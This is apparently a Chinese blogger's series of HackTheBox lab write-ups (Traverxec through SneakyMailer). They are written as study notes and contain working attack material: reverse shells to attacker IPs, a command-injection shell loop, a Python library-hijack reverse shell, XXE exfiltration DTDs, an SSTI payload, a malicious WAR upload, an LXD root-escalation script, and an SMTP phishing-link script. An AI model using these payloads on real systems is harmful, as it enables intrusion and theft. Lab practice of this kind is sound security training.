echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

运行就行

结束这个靶场卡了我很多时间最主要是写的脚本太卡了可能是网速的问题导致爆破速度很慢也可能是脚本编写的不太好总之那个地方卡了我很久还有好像是第二次了解到了nosql注入第一次不是很在意

最后就是这个java的利用点我一开始没了解过jjs 才知道可以调用java代码所以一直想自己构造因为他确实在history里面也带了些虽然看着他的脚本没问题事实告诉我弹不回来

问了下gpt确实存在问题

20.Traverxec

信息收集：

访问这个机器非常卡不知道是我自己电脑的原因还是他的原因

直接讲结果把

22端口没东西

80端口whatweb找到了指纹直接搜找到了exp

打完就能直接getshell了

开始提权

LinEnum帮我们找到了hash值 cmd5要付费就自行爆破了

david/Nowonly4me

ssh连一下看看根本登不上去 su都不行

su我还搜了有没有其他的su

开始研究那个网站发现那个网站貌似是以root启动的

但是他只是个纯前端页面没有办法

但并不是这样的他给了可执行权限实际上文件所有能改文件的只有root 执行还是当前用户

到了这一步我已经用了我能想到的所有常规了，这里大概率是非常规

我收集到的非常规的路线如下：

david家目录不可查看但可运行如果我们能获得david家目录的一些提权文件只要能知道名称都行

还有一个我在找到那个密码的文件夹目录下找到了配置文件而那个密码文件夹他就是网站目录文件夹

第一个我们已经看过了我将ip绑到了hosts上

第二个提醒了user 这个没问题进程里面启动的就是www-data用户

第三个只提到了容易破解撞库貌似也没什么

第四个提醒了在home文件夹下有个公开的public 但实际上我们发现家目录下有个david public_www 我们并没有找到

而且最主要是 david目录下我们可以执行但是并不能访问而且他只是david家目录不能访问但是david家目录下面的子目录子文件是可以访问的如下

所以目前在我们面前有两条路

第一个是对david家目录进行爆破

第二个是public_www 我们得找到在哪

我在搜索了很久并没有找到public_www 但是后面有个重大发现

他就藏在david目录下翻了一下找到了ssh的备份密钥

传到kali上

密码如下

成功登录

翻了些文件发现一个有意思的

sudo提权我只要一尝试就需要密码，但他这里不需要就很奇怪

后续测试发现只有输入 /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

这条命令时才可以sudo无需密码执行就是说多一个字符更改一个参数后面加任何东西都不行只能靠|，&，；等等来拼接才能执行但是很明显拼接了之后他就不是原来的权限了

而且他把路径写死了没有写死路径的话可以替换文件提权

https://www.linuxcool.com/journalctl

这个里面介绍了journalctl的参数 -n指的是行数 -u指定的是服务

我完全没想明白这两个有什么联系

后面试了很多方法但是始终没有解决这次看了wp 上面讲述到 journalctl 他输出的时候它规定了5行输出所以输出完了你根本无法输入命令但是它是根据你当前窗口的大小来输出的只需要将窗口缩小就行

结束了这一关非常考验搜索能力主要是一个是搜配置文件我并没有搜到还是猜出来的

还有一个是搜journalctl参数这个是搜到了但是关键点在于缩小当前命令行窗口让他卡在命令行界面这一步没有搜到我并不清楚这种是日积月累的还是考验搜索能力

21.OpenAdmin

信息收集：

打点比我想象的更简单

http://10.10.10.171/music/

这个页面可以login和create account

点击login 跳转到了http://10.10.10.171/ona/

上面有个download

找到了框架以及版本

读了一下缺少url

给参数加上url就行

1
2
3
4
5
6
7


#!/bin/bash

URL="http://10.10.10.171/ona/"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

然后他会死循环发包包就是你要执行的命令相当于一个交互型的shell了

这里我们选择弹一个回来

试了一堆不清楚是哪个成功了总之弹回来了这一步在我的理解下主要是反弹shell可以生成tty

反弹回来的也生成不了tty 很奇怪

可能是我弹的方式不对那就先不管了先看配置文件

并没找到什么东西但是有个很奇怪的点

当前目录是这个他的上一级并不是所看到的index.html的默认界面而是这个框架的配置文件 www刚好是他的网站目录所以说

在他的apache的配置文件里肯定包含 ona和artwork的索引首先先找apache的配置文件

但是我使用find并没有找到配置文件

于是我试了下搜索artwork 找到了目录一切就清楚了

没有能越权的东西权限都是 www-data 但是这里面还有几个目录有一些应用程序里面有两个文件夹有.DS_Store

https://github.com/gehaxelt/Python-dsstore

解析完了也没什么特别的目录应该是项目自带的

传了LinEnum上去也没发现什么特别的东西

/usr/bin/python3 -c ‘import pty; pty.spawn("/bin/bash")’

倒是找到了python3在哪获得了tty

后面实在是没有路了我便回网站再看几次根据他的php文件之类的我能确定是由数据库连接的

开始翻目录文件最终在 /opt/ona/www/local/config

找到了一个密码

n1nj4W4rri0R!

目前的思路又开始清晰了先试试home下的用户密码

如果不行本地的3306是开启的看进程的时候看到过可以直接连上去再翻其他密码

最终我在jimmy上登陆成功

第一时间还是sudo

无法使用第二时间我就直接去找到了我之前发现的文件夹

当时没有权限进不去

main.php告诉了我他直接去cat /home/joanna/.ssh/id_rsa

但是我试了没有权限

在index.php里我看到了一个密码

还是要给钱

并且这个密码跟n1nj4W4rri0R!这个密码的sha1不一样

找到了

su失败了接着读源码看看是咋回事

很简单一件事登陆成功给个session然后跳转main.php

main.php会执行命令去查看/home/joanna/.ssh/id_rsa

我没有必要去启动这个php或者把他移动到web目录里因为执行这个命令的权限就是jimmy 我目前手动测试是没用的放到web目录里他也没用如下

目前能得到的信息就是joanna有个私钥

忙活了一段时间貌似没有了任何思路但是我突然想到了一点

当前文件的所有权是jimmy的但是并不代表启动的用户还是jimmy

在pspy32的进程中我只发现了很多pid在运行apache2 但是并没有标明用户于是我开始查看

我本来以为uid33的www-data一直在开启apache2 但是

root也开了一个

存在一个没见过的端口 nmap没有给我报告这个端口大概率是在本地

出结果了确实存在东西在看pspy32的时候也要记得手动去找

curl一直失败还是搭个隧道吧

ssh -L 8888:localhost:52846 jimmy@10.10.10.171

获得了但是我有个想法当前root运行的这个站点我在里面写个shell不就是root权限了吗

理解的有问题上来的还是joanna账户

但总算是提上来了

sudo -l -s 还是用不了虽然不知道密码但是得先能用因为确实没其他思路了

登陆成功果然登陆了之后可以sudo -l了

结束这个靶场扩展了一些思路但是流程方面还跟之前差不多主要是得细心观察主要集中在提权了用了两个小时唯一搞不明白的就是为什么root的权限挂shell之后是joanna

开始翻wp

第一处：

curl可以直接访问main.php 但是我读代码的时候他会验证一遍session 这明显不现实下图是我测试的访问main会跳回主页面这和源码是一个逻辑

网页不行但是本地还真可以

我只curl了index.php 发包请求登录这一点没注意到

第二处

原因在这里他以joanna的身份启动的web服务所以虽然是root启动的但是用户身份还是joanna /etc/apache2/sites-enabled 这个目录存在配置文件

第三处

当时第一次并没有翻到jimmy的密码也就是那个数据库的密码没仔细去翻那个文件

但是进程里是存在的他有一个计划任务这一点后面才注意到

22.Magic

信息收集：

直接说结论吧 getshell难度还行

登录口可以sql注入的我尝试盲注不行但是是可以进后台的

他并不会自动跳转我以为要手工注入

但是在Location这个地方提示了要跳转upload.php

session已经被写入数据库了所以直接跳转不会提示没权限的只要用万能密码进就行了

upload页面这里也说结论吧白名单尝试绕过就行 upload_labs 里面有一个%20截断尝试了一下可以绕过具体如下

访问之后成功弹出shell

开始提权信息收集

我说怎么sleep没效果

基本上翻完了包括theseus用户的文件夹只能看到有一个mysql服务

实际上我获得的那个数据库账号密码并不能su到目标用户提示密码错误

ssh也提示只能用私钥去连这里我直接放结论吧

其他都看完了只剩mysql没看并且mysql在靶机上是没有的只能做端口转发

这里我使用的是frp

frps -c frps.ini

1
2


[common]
bind_port = 7000

frpc -c frpc.ini

1
2
3
4
5
6
7
8
9


[common]
server_addr = 10.10.16.3
server_port = 7000

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 3306
remote_port = 6000

启动起来就行

1

mysql -u theseus -P 6000 -p -h localhost Magic

成功上来了

找到了一个密码

成功切换到了theseus

接着信息收集我没有找到任何有用的东西 suid的我全看了

找到了一个有意思的我们当前其实还有users组跟这个刚好对上

全看了一遍只知道这个是专门针对users组的我并不知道咋用

后续实在是找不到了看了wp才知道这里是可以利用的而且对于我来说很复杂

知道切入点就开始操作了这里他调用命令并没有任何限制也就是它是以root的身份执行这俩命令的

也就是说根据环境变量索引找到的第一个命令会被root执行

这个顺序上面找到了/sbin目录 fdisk就在里面但是前面的并不能写入文件

但是还可以使用export设置临时的环境变量看了下介绍直接执行

export PATH=/tmp:$PATH

这样第一时间是去tmp文件夹里找环境变量

将反弹shell的命令写入fdisk

echo “bash -c ’exec bash -i >& /dev/tcp/10.10.16.3/6666 <&1’” /tmp/fdisk

成功连上来了到此结束

这一次非常规提权有点难这个靶机更多的是提权 theseus提权到root是真的没想到这里能藏一个但这是标准的oscp靶机只能说思路还得扩展平常根本发现不了 suid有很多的他给的提示就是给当前用户一个users组然后那个root的文件给了个s

刚好匹配上这个提示藏得有点深其次就是我没想过这种命令他会执行一些系统命令不带索引而是走环境变量藏得非常深

23.Admirer

信息收集：

直接说结果 ftp没有匿名登录但是根据目录爆破找到了ftp的密码 ftp登陆上去发现两个文件

解压之后找到了重要文件

http://10.10.10.187/utility-scripts/admin_tasks.php

这个主要方式就是如果task等于1-7 就执行shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"))

所以这里只要能够填写数字然后后面拼接命令就行主要是绕过if语句1-7

但是php弱类型完全无法绕过

这个地方获取根本不存在漏洞基本上发现的目录都进行了爆破

最后没有找到方法看了下一步的wp 发现还有一个adminer.php的文件他跟靶机的名称就差了一个字符我并没有找到他 wp的下一步是根据提示出来然而我并没有发现任何提示

目前有了一个新的切入点就是 adminer.php

我尝试利用之前获得的账号密码进行连接发现根本行不通这个地方又卡了我很久很久我没想到这一个地方能卡这么久后续也是实在是没办法了看了眼wp

他是这么提示的他说这个mysql一直连不上没办法有一个思路如下

https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f

这个思路是这样的 CVE-2021-43008读取文件是在它本地读只要我们能进去连接到后台去就行无论连接的是谁的数据库

于是又找到了一个切入点就开始操作这次非常顺利

在kali上开启mysql 下面是我参考的博客

https://www.cnblogs.com/dll102/p/16008382.html

https://blog.csdn.net/lxyoucan/article/details/131282508

操作完就可以在远程服务器上进行连接了最主要是这一步

这里就可以进来的再根据下面这个博客利用文件读取漏洞进行读取

https://podalirius.net/en/cves/2021-43008/

但是这里要注意一点就是/etc/passwd等是无法读取的后面猜到/var/www/html目录可以读里面的内容但是utility-scripts/db_admin.php 这个文件并不存在所以无法读取数据库密码等信息后续发现 /var/www/html/index.php 里面还是存在密码的

密码不一样导致的无法连接

其实在这一步我试了很多读passwd、读waldo的私钥等都没有用到这一步才找到

这个密码可以连接ssh 就此拿到了立足点上线之后第一件事有密码了直接sudo -l

还是有东西的这里讲一下我的思路吧

无法修改的权限

里面的参数都指明了是什么文件并不存在更改环境变量来越权包括/usr/bin/mysqldump这个文件他没有个w权限

那么非常可疑的就是backup.py那个文件了

只给了r权限

这里就有点一目了然了伪造一个shutil.py的文件在这个程序启动时会自动调用 shutil.py 这个时候放入主函数的代码也会调用写个shell就行

所以目前的思路就是劫持python库最最最常见的方法有两种第一个在backup.py下面写一个shutil.py 他会优先调用当前文件夹的库

但是并没有写入权限

第二种就是直接改链接库里的shutil.py 但是也没有权限

试了都不行 google之后发现还有两种方法就是添加当前终端的环境变量

export PYTHONPATH=/tmp/ 但是我试了还是不行

第二种方法就是在sudo的时候传入环境变量

echo ‘import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((“10.10.16.21”,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(“sh”)’ > shutil.py

写入文件并不能转义这里从kali上面把文件传了过来最后构造命令就行了

wget http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6

到此就结束了

这个靶场在我看来非常符合oscp 正是因为符合所以有很多东西都特别复杂

第一个adminer.php这个文件我一直没有想到第二个关于adminer的特性我也完全没有搜到第一个考验思路第二个考验搜索能力也就是google的能力需要提炼词汇进行搜索

然后就是提权提权这部分算是比较简单的但是python引用的这部分我浪费了很多时间前三种方法一直行不通最后才找到的 sudo 后面加上环境变量可以直接传入给sudo后面的命令不带环境变量直接 export PYTHONPATH=/home/waldo 导致后面的识别不到又或者sudo -E 可能会把环境变量带过去但是实际上并没有这个地方也浪费了很多时间

24.Blunder

信息收集：

直接讲结论吧一开始的信息收集可能有敲门端口才能解开这个先记一下接着往后走根据网站的信息找到了框架

BLUDIT v3.9.2

直接找exp打就行符合这个版本的在kali里面搜索只搜到了用户爆破的脚本

用户名也出来了

种种其实都提示要去爆破给了用户名给了版本号而且是3.9.2及以下版本才有这个用户爆破的脚本

cewl对主页进行爬取生成了一个字典

直接跑脚本就行

有了账号密码但是kali里面没有给rce的脚本 google找到了一个符合的脚本

介绍：https://www.anquanke.com/post/id/197105

脚本：https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py

直接利用就行可能得改一下不然会有点问题

主要的问题在这根据报错找到了原因

最后不要有/ 不然就会报错

拿到了shell

开始提权第一件事翻配置文件

找到了一堆db.php 但是没东西接着翻到了databases下面的user.php 里面有账号和密码

第一个是加盐了的账号是admin 可以用john进行爆破

但是第二个3.10版本有一个hugo的用户

正好家目录其实也有个hugo

hugo:Password120 直接su hugo就行了

直接就切换到shaun了

LinEnum给了一个利用点其实在www-data的时候我就发现这个了他的组实在是太多了找给组的可利用程序可以看看

但是并没有这些组可以利用的可执行程序后续一直在找利用点一直找不到

当时找到了版本我尝试利用这个版本的漏洞

最终找到了这个 https://www.exploit-db.com/exploits/47502

很巧的是它的利用条件就跟我在hugo的sudo -l一样

执行 sudo -u#-1 /bin/bash 成功提权

这个相对来说还是比较简单的没有学到新的服务程序等等

算是常规类的需要的只是思路只能说在优化一下思路把每一个程序都可能存在漏洞都需要挨个看

25.Tabby

信息收集：

没有udp的

直接说结论吧

任意文件读取 php伪协议貌似行不通不能读出来index.php和news.php的源码

后续就没找到其他东西了网站目录还是在 /var/www/html/index.php

到这里就非常明显了找到tomcat-users.xml 直接登录进去就行

我试了很多目录都不行收集了很多字典都不行最后才找到这个目录

https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379

这个问答提到了 usr/share/tomcat9/etc/tomcat-users.xml

收集完这些信息之后丢掉burpsuite跑最终跑了出来值得一提的是在html里面xml是不会显示的得f12查看源码

view-source:http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml

1
2
3


 <role rolename="admin-gui"/>
 <role rolename="manager-script"/>
 <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

manage登录不上只能登录到http://megahosting.htb:8080/host-manager/html

https://cloud.tencent.com/developer/article/1578239 https://blog.csdn.net/weixin_41924764/article/details/108196725 这两个博客写的非常好完全就是针对于这个情况的

但是我尝试了非常非常多的次数找了些博客提示貌似得在这个网站定义我们的域名才能使用不然无法使用后续只能找其他方法根据角色名称我找到了两个教程

google搜索 Apache Tomcat manager-script exploit

https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c

https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00

都是同一个漏洞我本以为这个war文件和在tomcat manager页面生成的方式是一样的自行打包就行所以我一直在尝试自己的war文件这两个教程教的都是 msfvenom 生成war后门一般来说oscp允许使用一次msf 但是生成后门的msfvenon没有限制次数因为他只是用来生成后门的只有msfconsole允许一次

试了自行生成的一直不行

1
2
3
4


msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war
curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file pwn.war "http://megahosting.htb:8080/manager/text/deploy?path=/foo&update=true"
curl http://megahosting.htb:8080/foo
nc -lvnp 9999

直接就能拿到shell了

准备提权

sudo -l 以及s 还有suid都没有

第一件事先去看看www目录有什么 new.php只有任意文件读取没有文件包含

但是file文件夹的所有者为ash

nc传到kali然后解压看看

但是要密码解出来密码为 admin@it

我后面看了半天解压的文件啥都没有唯一有可能的我理解为 fgets 这个函数可能存在文件包含但实际上不可能存在

后续想到了它可能是ash的密码 su切换一下发现还真是

后续接着提权我试了很多方法 sudo不让用 pspy32给了个

实际上也没用然后我想到了 80端口那个网站权限会不会是root的如果我往ash拥有的文件夹 files写入php文件

是不是就能直接提权root 但是实际上那个files文件夹不允许写入 chmod +w 都不行只允许可读权限被限死了

包括sudo的版本

这些组我都挨个find找是否有用户组存在的可执行文件等等

但是都没有最后我传上去了 LinEnum

提到了这个我并不清楚他提的lxd是什么去搜了下

找到了很多关于这个的exploit 这些博客提到如果我属于lxd或者lxc组我就可以成为root

kali上也有关于这个的payload

我尝试根据这个payload去操作但是一直执行失败最终我在google里的第一篇文章解决了

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

我上传上去发现一直执行失败首先得改exp 他没有给lxc和lxd设置环境变量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	 Victor Lasa (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
 echo -e "\nUsage:"
 echo -e "\t[-f] Filename (.tar.gz alpine file)"
 echo -e "\t[-h] Show this help panel\n"
 exit 1
}

function createContainer(){
 /snap/bin/lxc image import $filename --alias alpine && /snap/bin/lxd init --auto
 echo -e "[*] Listing images...\n" && /snap/bin/lxc image list
 /snap/bin/lxc init alpine privesc -c security.privileged=true
 /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
 /snap/bin/lxc start privesc
 /snap/bin/lxc exec privesc sh
 cleanup
}

function cleanup(){
 echo -en "\n[*] Removing container..."
 /snap/bin/lxc stop privesc && /snap/bin/lxc delete privesc && /snap/bin/lxc image delete alpine
 echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
 case $arg in
 f) filename=$OPTARG && let parameter_enable+=1;;
 h) helpPanel;;
 esac
done

if [ $parameter_enable -ne 1 ]; then
 helpPanel
else
 createContainer
fi

再利用上面的教程生成 alpine-v3.8-i686-20241027_1315.tar.gz

然后把两个文件一起传到目标机器执行

./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz

就能成功提权这里我卡了非常久

一半是因为生成alpine-v3.13-x86_64-20210218_0139.tar.gz这个文件一直失败

一半是因为提权成功执行cat什么命令不成功直接就崩溃了完全没办法我还要一直重启然后重复命令到这一步

46978.sh这个文件反而简单就是没获取到lxc和lxd给他们加个绝对路径就行

后面才发现我的操作有问题根据46978.sh描述我只要进入/mnt/root 就能查看所有文件

结束

也算是常规提权只有一个tomcat的 manager-host没遇到过还有个lxd 并不是意料之外的技术通常都是找exp 读懂exp 然后打上去就行

只是第一次使用浪费的时间非常多只能加强自己的搜索能力仔细看payload

26.Doctor

信息收集：

网页收集到一个域名加到host里

再次访问域名如下页面

注册一个账号就能直接进去

源码和目录爆破工具都提示了/archive 这个目录

但是他刚开始为空没有东西

有意思的是在new message里面可以生成博客

http://doctors.htb/post/1

这个可以看到那个1是干啥的那个接口并没有sql注入或者什么其他的东西

当我新建了message之后

http://doctors.htb/archive

会出现我新建的东西这里我出现了很大的失误我以为是XXE 尝试了很久这里他没有回显我尝试如下的方法试了很多一直失败但是他是可以请求的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


</title></item><!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data><item><title>

</title></item><!--?xml version="1.0" ?-->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.19:5000/evil.dtd?x=%file;'>">
%eval;
%exfiltrate;
<item><title>

就是好像读取不到文件

但是能发起请求

算是个误区把我尝试了非常多的payload 都不行在搜了很多之后我发现提示的貌似都是php和java的XXE 没有关于python的这个漏洞介绍和利用

其实在刚见到这个网站的时候就whatweb过一次

但是貌似没什么东西

但是后面在搜索了之后发现python作为后端用flask搭建的时候会存在ssti模板注入突然就想起来了 python作为后端实际上可能就是会存在这个漏洞

先测试下看看存不存在

新建完访问

view-source:http://doctors.htb/archive

没有问题开始准备exp

https://payatu.com/blog/server-side-template-injectionssti/

这个博客的exp没有问题直接构造payload上传上去就行

1

{{request.application.__globals__.__builtins__.__import__('os').popen("bash -c 'exec bash -i >& /dev/tcp/10.10.16.19/6666 <&1'").read()}}

拿到了shell

开始提权

一上来就看到了这个admin的用户

这个用户并不是我创建的在我执行sudo -l的时候需要填写密码目前的思路就是解开这个然后sudo -l看看

$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

找到了算法 bcrypt 直接用john跑就行了

实际上我后面跑完了都没啥用完全跑不出来而且跑bcrypt太卡了又太慢了

这条路根本走不通开始尝试其他提权

suid和sudo都没有家目录实际上还有一个用户shaun

但是又发现了一个用户它的家目录为/opt/splunkforwarder 里面有个readme还有版本号

google了一下这个程序就架设在8089端口之前nmap扫到过但是我测了半天一直没东西就没管可能提示就是越权到splunk

这个版本我并没有找到exp 但是根据下面这个网站的描述只要能登陆进去貌似就能获得getshell

https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd

我开始尝试找配置文件

https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862

无法读取后续一直在看这个站点并没有任何能渗透的地方并且它是以root运行的

我开始上传linenum帮我看看但是linenum并没有什么东西

我开始看group 结果发现很多日志我都可以看

find / -group adm 2>/dev/null -not -path “/proc/*” 2>/dev/null

我大概有了一些思路 80的网站或者8089的那个网站肯定有人登录如果8089的网站是因为不知道路径以及账号密码才导致无法访问那么检索所有配置文件就能找到80和8089网站的密码然后再进行下一步操作

没有找到8089的但是发现了一个密码

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] “POST /reset_password?email=Guitar123” 500 453 “http://doctor.htb/reset_password”

Guitar123 开始尝试su

成功提权到shaun

所有的一切都指向了8089端口的splunkd

我第一件事想的是要本地搭建隧道但是本地也访问不了

他开的是0.0.0.0 所以不存在只存在本地的情况本地也无法访问

最后才发现我一直用的http协议

成功访问了

这里只有services和serviceNS可以访问要求输入账号和密码刚好我们有个shaun的账密

而且虽然我们看不了这个服务的passwd以及存在哪些用户但是实际上在我之前搜索的时候貌似splunkd会调用本地的/etc/passwd生成一个新用户用于登录

成功进来了

网上的getshell的教程有很多他们也提到了这个app经常是由root运行的

但是根据所有的教程都是图形化的去上传apps 然后根据上传的文件内容来getshell

但是这里并没有任何图形化界面让我去点击我只能寻找绝对路径在一篇博客里我看到了可以将app解压到本地这样跟图形化点击是一个效果

但是并没有写入权限目前的思路就是找到上传app的那个接口或者在本地接着提权到splunk

但是都不行我开始去找poc

https://github.com/cnotin/SplunkWhisperer2

每次找到exp 我不会使用时都会去搜索这个项目名称看看原理

https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/

这个介绍没有啥作用根据代码里面的参数构造poc

https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py

我这里用的是本地提权的脚本先测试一下

python3 2.py –scheme https –port 8089 –username shaun –password Guitar123 –payload ‘id > /tmp/1.txt’

真没问题创建的还真是root的权限

但是后续我尝试su等等都有问题看了下代码貌似不能在当前持久运行弹个shell看看

python3 2.py –scheme https –port 8089 –username shaun –password Guitar123 –payload “bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/1234 <&1’”

结束了这个靶场我用了很多时间获得立足点的地方找错思路了去看了XXE 最后才发现是SSTI 然后就是web提权到shaun 这个不算难但是刚开始没有这个思路导致浪费了很多时间包括去爆破db里面的那个hash值最后才去看了adm这个用户组我觉得基本上没问题常规流程就是这样只能说速度太慢了

然后就是提权到root 这个服务我看了半天找了很多博客才找到关于漏洞的利用漏洞利用的方法反而不难但是在看那些代码的时候感觉很浪费时间但是最后还是能运行这也算常规流程只是速度太慢了或者 google搜索的方式也得优化这个靶场总结下来就是得多打靶场吧提升思路

27.SneakyMailer

信息收集：

http://sneakycorp.htb/index.php

这个网站得到了一个有用的信息

有个叫Bradley Greer的是一个测试人员

老板的名字是Cara Stevens

还告诉我们分配了工作需要我们去邮件里面查看并且还可以使用pip 这里有一个存疑点就是我们的用户名称叫什么并不知道只是用You来代表我们的名称

这个里面有团队的所有邮箱和角色名称

Bradley Greer的

老板Cara Stevens的

收集完这些信息之后开始挨个看服务 ftp没有匿名登录

SMTP可以连但是我们不需要写邮件但还是挨个看看

8080是个nginx页面现在开始爆破80以及8080 然后去看 143和993的imap

经过爆破找到了一个注册页面http://sneakycorp.htb/pypi//register.php

但是没有任何效果所以这里一定是朝邮件下手

先保存所有邮箱然后验证

smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25

都是存在的目前只能针对143进行爆破

用我收集的邮箱和cewl收集的密码进行爆破

结果就是啥都没有

一直在找相关的漏洞可能就是要打exp 但是实际上我弄了半天都没效果甚至版本号都没有直接找符合条件的

这里完全是卡死了没有任何办法就去看了wp

为了确保只有这一条路我翻了很多wp的关于这一步的测试无一例外都是朝所有邮箱发链接? 基本上除了发送的方法不一样思路都是一样的

smtp是可以发邮箱的这是很常见的一件事但是我没想到可以通过发链接来钓鱼让别人把信息发回来这是我绝对没想到的

到这一步有思路了就直接发链接就行

构造payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#!/bin/bash

{
 echo "helo smtp"

 while read i; do
 echo "Mail from:test@sneakymailer.htb"
 echo "Rcpt to:$i"
 echo "data"
 echo "subject:test"
 echo ""
 echo "http://10.10.16.19:6789/"
 echo "."
 done < user.txt

 echo "quit"
} | nc sneakycorp.htb 25

运行完就能发了

nc收到了回包

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(JuhqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(JuhqcHl<:Ht

ftp连接不上

开始尝试143 imap应该能看到收件

https://blog.csdn.net/hi_teotong/article/details/49635781

这个博客写的很好

结果143也不行

看一下993吧

openssl s_client -crlf -connect sneakycorp.htb:993

接着执行

a001 LOGIN paulbyrd@sneakymailer.htb “^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht”

还是不行

尝试用工具看看

https://www.cmdschool.org/archives/5449

https://imap-cli.readthedocs.io/en/latest/installation.html

刚安装好有代码错误改了下代码能用了

但还是报错

登陆失败但我感觉是因为他没走993端口走的是143

始终无法登录尝试一下ssh吧 ssh也不行

我能确定的是既然给了邮箱和密码大概率就是邮箱但是目前我的imap-cli是无法使用的他无法指定端口等等

后续我找到了 evolution 这个软件

apt-get install evolution

安装就行不要以root权限运行不然打不开的非常纯粹的一个软件网上根本找不到教程只能自己看网上只有安装教程

993和143都无法登录一直登陆失败

没想到最终是以paulbyrd的身份登陆进去的我之前一直是加的邮箱

但是又出问题了

结果问题是因为这个软件evolution在关闭在开启的时候会重启kali 所有服务全部断掉然后我又去开了openvpn 导致卡死了根本连不进内网导致的

重启之后就好了只不过后面不要再关闭evolution这个软件了

我先用imapcli测试了一下

第一个账号错误是我故意的

第二个账号正确报错信息不一样了代表imapcli软件的问题

接下来就启动evolution

进来之后又卡了半天终于进来了

看到两封邮件

第一封有信息泄露

Hello administrator, I want to change this password for the developer account

Username: developer

Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

终于登录到ftp了这个密码能验证ftp

第一件事就是发现这个貌似是网站目录的备份？或者他就是网站目录因为刚刚的邮件提到我们要去开发pypi这个文件夹里的东西大概率就是网站目录直接上传shell就行

但是传上去之后无法访问的同时过一段时间还会被删除我尝试去pypi里面传但是里面完全不让上传文件

后续试了一下貌似所有目录都不能传文件只有dev目录可以传而且无法访问且会被删除

第一件事我想的可能是存在条件竞争试一下

实际上并不行

又卡住了实际上我去看ftp里面的源文件他们完全不可能是目前站点上的文件至少能确定的是index.php和站点上的不一样

这是完全没有的还有些其他文件也不存在

我只能把他理解成备份了但是如果理解成备份配置文件应该有东西吧实际上并没有这几个php文件都是纯html前端代码没有关于任何后端的东西

这里没办法看了下老外的wp提示有一个子域名到这一步思路就清晰了

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

ffuf模糊测试刚好可以爆破

结果是 dev.sneakycorp.htb

加到hosts里面

果然这里跟刚刚看到的index.php是一样的

其实在目录的地方也提示了 dev目录在今后必须在拿到域名后ffuf测试一下然后再继续

直接put然后访问就行

终于成功拿到了shell

开始提权

在pypi.sneakycorp.htb目录里有一些文件

其中 .htpasswd 里面有pypi的密码需要跑hash

packages 不允许进入只允许pypi-pkg组的进入

